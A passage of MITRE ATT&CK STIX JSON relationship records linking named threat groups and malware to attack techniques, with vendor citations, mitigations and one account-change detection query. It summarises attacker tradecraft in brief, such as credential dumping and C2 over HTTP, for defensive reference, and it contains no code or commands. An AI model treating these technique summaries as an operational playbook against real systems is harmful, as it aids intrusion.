2018)","relationship_type":"uses","source_ref":"malware--53486bc7-7748-4716-8190-e4f1fde04c53","target_ref":"attack-pattern--d63a3fb8-9452-4e9d-a60a-54be68d5998c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--38961818-2eae-4f78-860b-9995dec10829","created":"2024-06-14T20:18:44.969Z","revoked":false,"external_references":[{"source_name":"CISA Star Blizzard Advisory December 2023","description":"CISA, et al. (2023, December 7). Russian FSB Cyber Actor Star Blizzard Continues Worldwide Spear-phishing Campaigns. Retrieved June 13, 2024.","url":"https://www.cisa.gov/news-events/cybersecurity-advisories/aa23-341a"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-06-14T20:18:44.969Z","description":"[Star Blizzard](https://attack.mitre.org/groups/G1033) has remotely accessed victims' email accounts to steal messages and attachments.(Citation: CISA Star Blizzard Advisory December 2023)","relationship_type":"uses","source_ref":"intrusion-set--9b36c218-4d80-4ec6-a68d-cc2886bbe410","target_ref":"attack-pattern--b4694861-542c-48ea-9eb1-10d356e7140a","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--38a350e5-634c-4dcb-8f6c-0615cdb37864","type":"relationship","created":"2020-01-24T14:07:56.461Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2021-10-16T20:11:13.964Z","description":"By default, only administrators are allowed to connect remotely using WMI; restrict other users that are allowed to connect, or disallow all users from connecting remotely to WMI.","relationship_type":"mitigates","source_ref":"course-of-action--93e7968a-9074-4eac-8ae9-9f5200ec3317","target_ref":"attack-pattern--910906dd-8c0a-475a-9cc1-5e029e2fad58","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--38a3eb0c-6313-4e1d-8321-7568435a8c23","created":"2019-01-30T15:27:06.714Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Mandiant APT1 Appendix","description":"Mandiant. (n.d.). Appendix C (Digital) - The Malware Arsenal. Retrieved July 18, 2016.","url":"https://www.mandiant.com/sites/default/files/2021-09/mandiant-apt1-report.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-12-26T19:55:54.857Z","description":"[Seasalt](https://attack.mitre.org/software/S0345) uses HTTP for C2 communications.(Citation: Mandiant APT1 Appendix)","relationship_type":"uses","source_ref":"malware--b45747dc-87ca-4597-a245-7e16a61bc491","target_ref":"attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--38a6e4b2-40c2-41f2-a415-7fbf586cc232","created":"2021-01-07T20:35:35.815Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Unit 42 NETWIRE April 2020","description":"Duncan, B. (2020, April 3). GuLoader: Malspam Campaign Installing NetWire RAT. Retrieved January 7, 2021.","url":"https://unit42.paloaltonetworks.com/guloader-installing-netwire-rat/"},{"source_name":"FireEye NETWIRE March 2019","description":"Maniath, S. and Kadam P. (2019, March 19). Dissecting a NETWIRE Phishing Campaign's Usage of Process Hollowing. Retrieved January 7, 2021.","url":"https://www.mandiant.com/resources/blog/dissecting-netwire-phishing-campaigns-usage-process-hollowing"},{"source_name":"Proofpoint NETWIRE December 2020","description":"Proofpoint. (2020, December 2). Geofenced NetWire Campaigns. Retrieved January 7, 2021.","url":"https://www.proofpoint.com/us/blog/threat-insight/geofenced-netwire-campaigns"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-09-13T18:16:43.577Z","description":"[NETWIRE](https://attack.mitre.org/software/S0198) has been executed through luring victims into opening malicious documents.(Citation: FireEye NETWIRE March 2019)(Citation: Unit 42 NETWIRE April 2020)(Citation: Proofpoint NETWIRE December 2020)","relationship_type":"uses","source_ref":"malware--2a70812b-f1ef-44db-8578-a496a227aef2","target_ref":"attack-pattern--232b7f21-adf9-4b42-b936-b9d6f7df856e","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--38a72b32-dc04-493d-8b92-31174c32f3ed","type":"relationship","created":"2017-05-31T21:33:27.036Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Mandiant APT1","description":"Mandiant. (n.d.). APT1 Exposing One of China’s Cyber Espionage Units. Retrieved July 18, 2016.","url":"https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report.pdf"}],"modified":"2019-08-20T13:08:13.168Z","description":"[APT1](https://attack.mitre.org/groups/G0006) has collected files from a local victim.(Citation: Mandiant APT1)","relationship_type":"uses","source_ref":"intrusion-set--6a2e693f-24e5-451a-9f88-b36a108e5662","target_ref":"attack-pattern--3c4a2599-71ee-4405-ba1e-0e28414b4bc5","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--38ae2a97-1756-4452-b542-33d00b891742","created":"2024-01-02T13:43:37.736Z","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-01-02T13:43:37.736Z","description":"","relationship_type":"subtechnique-of","source_ref":"attack-pattern--ceaeb6d8-95ee-4da2-9d42-dc6aa6ca43ae","target_ref":"attack-pattern--f4c1826f-a322-41cd-9557-562100848c84","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--38affc70-544f-4211-be66-0d09f7882edb","type":"relationship","created":"2020-08-07T20:02:10.026Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"SentinelOne Lazarus macOS July 2020","url":"https://www.sentinelone.com/blog/four-distinct-families-of-lazarus-malware-target-apples-macos-platform/","description":"Stokes, P. (2020, July 27). Four Distinct Families of Lazarus Malware Target Apple’s macOS Platform. Retrieved August 7, 2020."},{"source_name":"TrendMicro macOS Dacls May 2020","url":"https://blog.trendmicro.com/trendlabs-security-intelligence/new-macos-dacls-rat-backdoor-show-lazarus-multi-platform-attack-capability/","description":"Mabutas, G. (2020, May 11). New MacOS Dacls RAT Backdoor Shows Lazarus’ Multi-Platform Attack Capability. Retrieved August 10, 2020."}],"modified":"2020-08-10T13:14:05.252Z","description":"[Dacls](https://attack.mitre.org/software/S0497) can download its payload from a C2 server.(Citation: SentinelOne Lazarus macOS July 2020)(Citation: TrendMicro macOS Dacls May 2020)","relationship_type":"uses","source_ref":"malware--3aa169f8-bbf6-44bb-b57d-7f6ada5c2128","target_ref":"attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--38b1ad70-4d24-4f5c-ad62-e03f38b6752f","type":"relationship","created":"2019-01-30T17:48:35.709Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"McAfee Night Dragon","description":"McAfee® Foundstone® Professional Services and McAfee Labs™. (2011, February 10). Global Energy Cyberattacks: “Night Dragon”. Retrieved February 19, 2018.","url":"https://scadahacker.com/library/Documents/Cyber_Events/McAfee%20-%20Night%20Dragon%20-%20Global%20Energy%20Cyberattacks.pdf"}],"modified":"2021-06-16T15:50:05.401Z","description":"[zwShell](https://attack.mitre.org/software/S0350) has established persistence by adding itself as a new service.(Citation: McAfee Night Dragon)","relationship_type":"uses","source_ref":"malware--54e8672d-5338-4ad1-954a-a7c986bee530","target_ref":"attack-pattern--2959d63f-73fd-46a1-abd2-109d7dcede32","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--38b2c8da-e69e-4e17-8ba9-c967d7af3a0a","type":"relationship","created":"2021-06-15T18:39:46.919Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Microsoft BEC Campaign","url":"https://www.microsoft.com/security/blog/2021/06/14/behind-the-scenes-of-business-email-compromise-using-cross-domain-threat-data-to-disrupt-a-large-bec-infrastructure/","description":"Carr, N., Sellmer, S. (2021, June 14). Behind the scenes of business email compromise: Using cross-domain threat data to disrupt a large BEC campaign. Retrieved June 15, 2021."}],"modified":"2021-10-15T20:19:33.593Z","description":"Consider disabling external email forwarding.(Citation: Microsoft BEC Campaign)","relationship_type":"mitigates","source_ref":"course-of-action--eb88d97c-32f1-40be-80f0-d61a4b0b4b31","target_ref":"attack-pattern--7d77a07d-02fe-4e88-8bd9-e9c008c01bf0","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--38b33f88-bc7e-4376-891d-51e7a0404174","type":"relationship","created":"2020-03-19T15:09:22.409Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2020-03-19T15:09:22.409Z","relationship_type":"revoked-by","source_ref":"attack-pattern--46944654-fcc1-4f63-9dad-628102376586","target_ref":"attack-pattern--2fee9321-3e71-4cf4-af24-d4d40d355b34","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--38be247c-74b0-42f3-964e-5f23ef42a353","type":"relationship","created":"2019-07-22T15:35:24.351Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Cybereason Soft Cell June 2019","url":"https://www.cybereason.com/blog/operation-soft-cell-a-worldwide-campaign-against-telecommunications-providers","description":"Cybereason Nocturnus. (2019, June 25). Operation Soft Cell: A Worldwide Campaign Against Telecommunications Providers. Retrieved July 18, 2019."}],"modified":"2019-07-22T15:49:29.092Z","description":"[GALLIUM](https://attack.mitre.org/groups/G0093) collected data from the victim's local system, including password hashes from the SAM hive in the Registry.(Citation: Cybereason Soft Cell June 2019)","relationship_type":"uses","source_ref":"intrusion-set--06a11b7e-2a36-47fe-8d3e-82c265df3258","target_ref":"attack-pattern--3c4a2599-71ee-4405-ba1e-0e28414b4bc5","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--38c7e0b8-3961-48ed-b5e6-c4763c212ecb","type":"relationship","created":"2020-03-15T00:30:25.597Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2020-03-15T00:30:25.597Z","relationship_type":"subtechnique-of","source_ref":"attack-pattern--f7c0689c-4dbd-489b-81be-7cb7c7079ade","target_ref":"attack-pattern--ad255bfe-a9e6-4b52-a258-8d3462abe842","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--38cf696a-f98d-4b32-a9f1-0183bd78b6d2","created":"2021-04-20T12:38:47.951Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"FBI FLASH APT39 September 2020","description":"FBI. (2020, September 17). Indicators of Compromise Associated with Rana Intelligence Computing, also known as Advanced Persistent Threat 39, Chafer, Cadelspy, Remexi, and ITG07. Retrieved December 10, 2020.","url":"https://www.iranwatch.org/sites/default/files/public-intelligence-alert.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-04-11T03:00:11.053Z","description":"[APT39](https://attack.mitre.org/groups/G0087) has used malware to drop encrypted CAB files.(Citation: FBI FLASH APT39 September 2020)","relationship_type":"uses","source_ref":"intrusion-set--44e43fad-ffcb-4210-abcf-eaaed9735f80","target_ref":"attack-pattern--0d91b3c0-5e50-47c3-949a-2a796f04d144","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--38d896b7-6e7a-44e0-9b52-77da42dd59f6","created":"2024-07-02T17:30:58.773Z","revoked":false,"external_references":[{"source_name":"ESET Turla Lunar toolset May 2024","description":"Jurčacko, F. (2024, May 15). To the Moon and back(doors): Lunar landing in diplomatic missions. Retrieved June 26, 2024.","url":"https://www.welivesecurity.com/en/eset-research/moon-backdoors-lunar-landing-diplomatic-missions/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-07-02T17:30:58.773Z","description":"[LunarMail](https://attack.mitre.org/software/S1142) can decrypt strings to retrieve configuration settings.(Citation: ESET Turla Lunar toolset May 2024)","relationship_type":"uses","source_ref":"malware--a5789a26-2b7b-4b2d-a25f-31182468d4bb","target_ref":"attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--38ea7367-26e7-4a6a-b735-e98e3a35450a","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"FireEye Shamoon Nov 2016","description":"FireEye. (2016, November 30). FireEye Responds to Wave of Destructive Cyber Attacks in Gulf Region. Retrieved January 11, 2017.","url":"https://www.fireeye.com/blog/threat-research/2016/11/fireeye_respondsto.html"}],"modified":"2019-04-24T23:59:16.311Z","description":"[Shamoon](https://attack.mitre.org/software/S0140) accesses network share(s), enables share access to the target device, copies an executable payload to the target system, and uses a [Scheduled Task/Job](https://attack.mitre.org/techniques/T1053) to execute the malware.(Citation: FireEye Shamoon Nov 2016)","relationship_type":"uses","source_ref":"malware--8901ac23-6b50-410c-b0dd-d8174a86f9b3","target_ref":"attack-pattern--4f9ca633-15c5-463c-9724-bdcd54fde541","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--38ecb5dd-08b5-45ca-b048-9c4ba6f842fc","created":"2023-03-20T19:23:14.517Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"FireEye APT29 Nov 2018","description":"Dunwoody, M., et al. (2018, November 19). Not So Cozy: An Uncomfortable Examination of a Suspected APT29 Phishing Campaign. Retrieved November 27, 2018.","url":"https://www.fireeye.com/blog/threat-research/2018/11/not-so-cozy-an-uncomfortable-examination-of-a-suspected-apt29-phishing-campaign.html"},{"source_name":"Microsoft Unidentified Dec 2018","description":"Microsoft Defender Research Team. (2018, December 3). Analysis of cyberattack on U.S. think tanks, non-profits, public sector by unidentified attackers. Retrieved April 15, 2019.","url":"https://www.microsoft.com/security/blog/2018/12/03/analysis-of-cyberattack-on-u-s-think-tanks-non-profits-public-sector-by-unidentified-attackers/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-22T17:35:23.783Z","description":"During [C0021](https://attack.mitre.org/campaigns/C0021), the threat actors used encoded PowerShell commands.(Citation: FireEye APT29 Nov 2018)(Citation: Microsoft Unidentified Dec 2018)","relationship_type":"uses","source_ref":"campaign--712e38c3-a656-426a-9b3b-a6bfb63294c6","target_ref":"attack-pattern--d511a6f6-4a33-41d5-bc95-c343875d1377","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--38eefeb2-1a2f-437c-a0eb-c7d49cd5dcb6","created":"2023-09-28T13:27:43.747Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"GitHub Pacu","description":"Rhino Security Labs. (2019, August 22). Pacu. Retrieved October 17, 2019.","url":"https://github.com/RhinoSecurityLabs/pacu"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-10-13T16:32:09.842Z","description":"[Pacu](https://attack.mitre.org/software/S1091) can disable or otherwise restrict various AWS logging services, such as AWS CloudTrail and VPC flow logs.(Citation: GitHub Pacu)","relationship_type":"uses","source_ref":"tool--1b3b8f96-43b1-4460-8e02-1f53d7802fb9","target_ref":"attack-pattern--cacc40da-4c9e-462c-80d5-fd70a178b12d","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--38f209df-bb69-4971-bbd8-db5a54bbf217","type":"relationship","created":"2019-01-29T18:17:59.273Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"CIRCL PlugX March 2013","url":"http://circl.lu/assets/files/tr-12/tr-12-circl-plugx-analysis-v1.pdf","description":"Computer Incident Response Center Luxembourg. (2013, March 29). Analysis of a PlugX variant. Retrieved November 5, 2018."}],"modified":"2020-03-16T17:29:45.968Z","description":"[PlugX](https://attack.mitre.org/software/S0013) has a module for capturing keystrokes per process including window titles.(Citation: CIRCL PlugX March 2013)","relationship_type":"uses","source_ref":"malware--64fa0de0-6240-41f4-8638-f4ca7ed528fd","target_ref":"attack-pattern--09a60ea3-a8d1-4ae5-976e-5783248b72a4","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--38f54e6f-502c-4af5-9867-fa9fb8381662","type":"relationship","created":"2019-05-28T20:01:03.241Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Proofpoint TA505 Mar 2018","url":"https://www.proofpoint.com/us/threat-insight/post/leaked-ammyy-admin-source-code-turned-malware","description":"Proofpoint Staff. (2018, March 7). Leaked Ammyy Admin Source Code Turned into Malware. Retrieved May 28, 2019."}],"modified":"2019-05-30T17:23:30.640Z","description":"[FlawedAmmyy](https://attack.mitre.org/software/S0381) leverages WMI to enumerate anti-virus on the victim.(Citation: Proofpoint TA505 Mar 2018)","relationship_type":"uses","source_ref":"malware--432555de-63bf-4f2a-a3fa-f720a4561078","target_ref":"attack-pattern--01a5a209-b94c-450b-b7f9-946497d91055","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--38f5765d-0e42-4e63-9411-185983c6ca21","created":"2021-07-16T19:32:57.791Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Group IB GrimAgent July 2021","description":"Priego, A. (2021, July). THE BROTHERS GRIM: THE REVERSING TALE OF GRIMAGENT MALWARE USED BY RYUK. Retrieved September 19, 2024.","url":"https://www.group-ib.com/blog/grimagent/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-19T14:32:39.429Z","description":"[GrimAgent](https://attack.mitre.org/software/S0632) can identify the user id on a target machine.(Citation: Group IB GrimAgent July 2021)","relationship_type":"uses","source_ref":"malware--c9b99d03-ff11-4a48-95f0-82660d582c25","target_ref":"attack-pattern--03d7999c-1f4c-42cc-8373-e7690d318104","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--38f5e690-1ed8-45a8-a6cc-9dfe8e953706","created":"2022-03-30T14:26:51.871Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-08-14T14:21:17.303Z","description":"Administrators should set up monitoring to trigger automatic alerts when policy criteria are met. For example, using a Cloud Access Security Broker (CASB), admins can create a “High severity app permissions” policy that generates alerts if apps request high severity permissions or send permissions requests for too many users.\n\nSecurity analysts can hunt for malicious apps using the tools available in their CASB, identity provider, or resource provider (depending on platform.) For example, they can filter for apps that are authorized by a small number of users, apps requesting high risk permissions, permissions incongruous with the app’s purpose, or apps with old “Last authorized” fields. A specific app can be investigated using an activity log displaying activities the app has performed, although some activities may be mis-logged as being performed by the user. App stores can be useful resources to further investigate suspicious apps.\n\nAdministrators can set up a variety of logs and leverage audit tools to monitor actions that can be conducted as a result of OAuth 2.0 access. For instance, audit reports enable admins to identify privilege escalation actions such as role creations or policy modifications, which could be actions performed after initial access.\n\nAnalytic 1 - Unauthorized app permissions or unusual activity patterns in app logs.\n\n(index=security sourcetype=\"WinEventLog:Security\" EventCode=4720 OR EventCode=4722 OR EventCode=4738) OR\n(index=azuread sourcetype=\"azure:activity\" operationName IN (\"Add member to role\", \"Update user\", \"Update group\")) OR\n(index=gsuite sourcetype=\"gsuite:admin\" event_type IN (\"UPDATE_USER\", \"ADD_USER_TO_GROUP\")) OR\n(index=o365 sourcetype=\"o365:management:activity\" operation IN (\"Add member to role\", \"Update user\", \"Update group\")) ","relationship_type":"detects","source_ref":"x-mitre-data-component--d27b0089-2c39-4b6c-84ff-303e48657e77","target_ref":"attack-pattern--890c9858-598c-401d-a4d5-c67ebcdd703a","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--3901752d-473d-49da-9139-3c1e0b8091d2","created":"2024-08-20T20:19:56.086Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Kandji Cuckoo April 2024","description":"Kohler, A. and Lopez, C. (2024, April 30). Malware: Cuckoo Behaves Like Cross Between Infostealer and Spyware. Retrieved August 20, 2024.","url":"https://www.kandji.io/blog/malware-cuckoo-infostealer-spyware"},{"source_name":"SentinelOne Cuckoo Stealer May 2024","description":"Stokes, P. (2024, May 9). macOS Cuckoo Stealer | Ensuring Detection and Defense as New Samples Rapidly Emerge. Retrieved August 20, 2024.","url":"https://www.sentinelone.com/blog/macos-cuckoo-stealer-ensuring-detection-and-defense-as-new-samples-rapidly-emerge/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-08-23T19:31:41.761Z","description":"\n[Cuckoo Stealer](https://attack.mitre.org/software/S1153) can create and populate property list (plist) files to enable execution.(Citation: Kandji Cuckoo April 2024)(Citation: SentinelOne Cuckoo Stealer May 2024)","relationship_type":"uses","source_ref":"malware--457a5e8d-d964-4130-bde3-c07bb41a093e","target_ref":"attack-pattern--7d20fff9-8751-404e-badd-ccd71bda0236","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--39080201-a56c-4daf-83b8-8ec09dd3baea","created":"2020-01-24T19:00:33.123Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"UCF STIG Symbolic Links","description":"UCF. (n.d.). Unauthorized accounts must not have the Create symbolic links user right.. Retrieved December 18, 2017.","url":"https://www.stigviewer.com/stig/windows_server_2008_r2_member_server/2015-06-25/finding/V-26482"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-10-07T21:32:57.574Z","description":"Limit Privileges for Shortcut Creation: While the SeCreateSymbolicLinkPrivilege is not directly related to .lnk file creation, you should still enforce least privilege principles by limiting user rights to create and modify shortcuts, especially in system-critical locations. This can be done through GPO: Computer Configuration > [Policies] > Windows Settings > Security Settings > Local Policies > User Rights Assignment: Create symbolic links. (Citation: UCF STIG Symbolic Links)\n\nRegular User Permissions Review: Regularly review and audit user permissions to ensure that only necessary accounts have write access to startup folders and critical system directories.","relationship_type":"mitigates","source_ref":"course-of-action--93e7968a-9074-4eac-8ae9-9f5200ec3317","target_ref":"attack-pattern--4ab929c6-ee2d-4fb5-aab4-b14be2ed7179","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--39080ec2-9914-4f83-a83e-18573da1b776","created":"2022-07-29T19:52:40.375Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Microsoft Deep Dive Solorigate January 2021","description":"MSTIC, CDOC, 365 Defender Research Team. (2021, January 20). Deep dive into the Solorigate second-stage activation: From SUNBURST to TEARDROP and Raindrop . Retrieved January 22, 2021.","url":"https://www.microsoft.com/security/blog/2021/01/20/deep-dive-into-the-solorigate-second-stage-activation-from-sunburst-to-teardrop-and-raindrop/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-10-18T23:35:35.364Z","description":"[SUNBURST](https://attack.mitre.org/software/S0559) removed IFEO registry values to clean up traces of persistence.(Citation: Microsoft Deep Dive Solorigate January 2021)","relationship_type":"uses","source_ref":"malware--a8839c95-029f-44cf-8f3d-a3cf2039e927","target_ref":"attack-pattern--d2c4e5ea-dbdf-4113-805a-b1e2a337fb33","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--39084aef-6ba7-4370-832f-b10002b97804","type":"relationship","created":"2020-01-24T14:07:56.483Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2020-01-24T14:07:56.483Z","relationship_type":"subtechnique-of","source_ref":"attack-pattern--910906dd-8c0a-475a-9cc1-5e029e2fad58","target_ref":"attack-pattern--b6301b64-ef57-4cce-bb0b-77026f14a8db","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--3911c758-2c61-4615-88a1-4b9f21c99a9c","type":"relationship","created":"2020-03-19T22:06:25.522Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"http://www.symantec.com/connect/blogs/buckeye-cyberespionage-group-shifts-gaze-us-hong-kong","description":"Symantec Security Response. (2016, September 6). Buckeye cyberespionage group shifts gaze from US to Hong Kong. Retrieved September 26, 2016.","source_name":"Symantec Buckeye"}],"modified":"2020-03-19T22:06:25.522Z","description":"[APT3](https://attack.mitre.org/groups/G0022) has used tools to dump passwords from browsers.(Citation: Symantec 